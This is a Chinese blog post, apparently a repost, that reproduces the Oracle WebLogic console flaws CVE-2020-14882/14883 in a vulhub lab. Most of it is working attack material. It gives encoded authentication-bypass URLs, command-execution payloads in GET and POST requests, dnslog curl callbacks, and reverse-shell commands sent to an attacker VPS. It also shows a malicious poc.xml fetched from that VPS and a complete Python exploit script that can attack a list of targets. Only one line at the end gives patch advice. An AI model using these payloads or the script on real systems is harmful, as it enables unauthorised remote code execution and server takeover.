CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

admin 2023年10月31日10:11:56评论29 views字数 13644阅读45分28秒阅读模式

一、漏洞介绍

0x01 漏洞介绍

         Oracle WebLogic Server 存在权限绕过漏洞(CVE-2020-14882),攻击者可以通过构造恶意payload绕过登录,直接进入控制台;并且在此基础上,weblogic还存在远程代码执行漏洞(CVE-2020-14883)并且POC已经被公开,攻击者可以绕过身份验证然后通过构造恶意的HTTP请求,利用此漏洞可在未经身份验证的情况下直接进入WebLogic Server Console,并且通过执行命令来获取系统权限。

二、影响版本

Oracle Weblogic Server 10.3.6.0.0

Oracle Weblogic Server 12.1.3.0.0

Oracle Weblogic Server 12.2.1.3.0

Oracle Weblogic Server 12.2.1.4.0

Oracle Weblogic Server 14.1.1.0.0

三、漏洞复现

0x01 环境搭建

(1):使用新的vulhub进行搭建

git clone  https://github.com/vulhub/vulhub.git

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

这种方法真的是太慢了。我试了各种加速的方法都失败了。

直接下载到本地,然后上传到VPS上使用unzip解压,一分钟完成。

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

(2):启动weblogic环境

本次漏洞复现采用vulhub的环境,weblocig的版本为12.2.1.3.0,该版本存在漏洞。

docker-compose up -d

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

(3):访问控制台

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

如图表示环境搭建成功。

0x02 权限绕过复现(CVE-2020-14882)

(1):权限绕过的POC

/console/images/%252E%252E%252Fconsole.portal /console/css/%25%32%65%25%32%65%25%32%66console.portal 大写换成小写可绕过补丁:/console/images/%252e%252e%252fconsole.portal /console/css/%252e%252e%252fconsole.portal

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

可以通过构造的请求包直接进行绕过。注意需要使用编码来进行绕过。

0x03 构造GET请求包执行命令(CVE-2020-14882)

(1):直接执行命令

http://xxx.xxx.xxx:7001/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27whoami%27);%22)

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

这种方式没有回显,无法确定是否执行了命令。

(2):使用dnslog

①:获取dnslog

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

②:执行如下命令

http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20wexqq0.dnslog.cn');")

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

成功获取数据。

0x04 构造POST请求包执行命令(CVE-2020-14882)

(1):使用未授权访问控制台

http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

(2):抓包并修改payload

payload如下

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')  HTTP/1.1 Host: IP:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Accept: */* Referer: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27111%27);%22); Accept-Encoding: gzip, deflate cmd:whoami && ls Accept-Language: zh-CN,zh;q=0.9 Cookie: ADMINCONSOLESESSION=8guoLM33tVnPrUomY4v8yi8C9bd-Glfq8JOrW2ntH-gJYHZ-oGgQ!1524101341 Connection: close

 (3):执行命令

一个小插曲,之前把上面payload中的最后两行删除了,一直执行不了命令,觉得非常奇怪,后面才知道正常的payload后面就是会有两行空行(所以上面的payload多加了两行空格),之前一直没有注意。

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

(4):反弹shell

①:VPS进行监听

nc -lvp 1234

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

②:执行命令反弹shell

将上面的payload中执行命令的地方换成下面的命令

bash -i >& /dev/tcp/VPS/port 0>&1

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

③:成功getshell

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

0x05 构造poc.xml文件执行命令(CVE-2020-14883)

(1):构造请求包请求dnslog

①:获取dnslog

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

②:构造poc.xml文件

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>bash</value>            <value>-c</value>            <value><![CDATA[curl 9ljqbh.dnslog.cn]]></value>          </list>        </constructor-arg>    </bean></beans>

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

③:将poc.xml文件放在自己的VPS上,并开启web服务

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

python2 -m SimpleHTTPServer 9000

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

④:构造请求包

http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启web服务的VPS:端口/poc.xml")

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

⑤:查看dnslog上的流量

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

发现上面有返回的数据。

(2):反弹shell

①:修改poc.xml文件

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>bash</value>            <value>-c</value>            <value><![CDATA[bash -i >& /dev/tcp/VPSIP/1234 0>&1]]></value>          </list>        </constructor-arg>    </bean></beans>

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

将上述文件放在VPS上

②:开启web服务

python2 -m SimpleHTTPServer 9000

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

③:VPS进行监听

nc -lvp 1234

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

③:执行payload

http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启web服务的VPS:端口/poc.xml")

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

④:成功getshell

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

四、使用脚本进行getshell

0x01 python脚本如下

#coding:utf-8import requestsimport sysimport argparseimport http.client
http.client.HTTPConnection._http_vsn = 10http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
requests.packages.urllib3.disable_warnings()

#功能1方法:回显命令执行。def command(url_cmd,headers_cmd,url): try: res = requests.get(url_cmd, headers = headers_cmd,timeout = 15, verify = False) if " not in res.text and " not in res.text : print ("[+] Command success result:") print (res.text)
else: print ("[-] " + url + " not vulnerable or command error!") except Exception as e: #print (e) print ("[-] " + url + " not vulnerable or command error!")

#功能2方法:无回显,命令执行,适用于Weblogic 10.x、12.x。def weblogic_12(url_cmd,post_12,headers_12): try: res = requests.post(url_cmd, data = post_12, headers = headers_12,timeout = 15, verify = False) #print ("[+] Attack complete!") except Exception as e: print ("[+] Attack complete!")
def main(): banner = """ _______ ________ ___ ___ ___ ___ __ _ _ ___ ___ ___ / ____ / / ____| |__ / _ __ / _ /_ | || | / _ / _ __ | | / /| |__ ______ ) | | | | ) | | | |______| | || || (_) | (_) | ) || | / / | __|______/ /| | | |/ /| | | |______| |__ _> _ < > _ < / / | |____ / | |____ / /_| |_| / /_| |_| | | | | || (_) | (_) / /_ _____| / |______| |____|___/____|___/ |_| |_| ___/ ___/____| Author:GGyao Github:https://github.com/GGyao
"""
print (banner) parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port。") parser.add_argument("-f", "--file", help="Target File; Example:target.txt。") parser.add_argument("-c", "--cmd", help="Commands to be executed; ") parser.add_argument("-x", "--xml", help="Remote XML file; Example:http://vpsip/poc.xml; ") args = parser.parse_args()
#功能1:命令回显。 if args.url != None and args.cmd != None: url = args.url url_cmd = args.url + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')""" headers_cmd = { 'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0', 'cmd':args.cmd, 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Content-Type':'application/x-www-form-urlencoded' }
#post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""
#command(url_cmd,post_cmd,headers_cmd,url) command(url_cmd,headers_cmd,url)
#功能2:weblogic 12.x命令执行。 if args.url != None and args.xml != None: url_cmd = args.url + '/console/images/%252e%252e/console.portal' headers_12 = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Content-Type':'application/x-www-form-urlencoded' }
post_12 = """_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22{}%22)""".format(args.xml)
weblogic_12(url_cmd,post_12,headers_12)
# 功能3:回显命令执行批量。 if args.file != None and args.cmd != None: #print (1) for File in open(args.file): File = File.strip() url_cmd = File + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')""" print ("[*] >>> Test:" + File)
url = File headers_cmd = { 'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0', 'cmd':args.cmd, 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Content-Type':'application/x-www-form-urlencoded' }

#post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')""" command(url_cmd,headers_cmd,url)

if __name__=="__main__": main()

0x02 使用python脚本执行命令

python3 CVE-2020-14882_ALL.py -u http://116.62.106.123:7001 -c "whoami"

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

0x03 反弹shell

①:设置poc.xml文件

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

②:开启web服务

python2 -m SimpleHTTPServer 9000

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

③:进行监听

nc -lvp 1234

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

④:执行命令

http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启web服务的VPS:端口/poc.xml")

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

⑤:目标主机成功getshell

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

五、修复建议

0x01 安装最新补丁

https://www.oracle.com/security-alerts/cpuapr2020.html

CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

原文始发于微信公众号(想走安全的小白):CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月31日10:11:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现https://cn-sec.com/archives/886252.html

发表评论

匿名网友 填写信息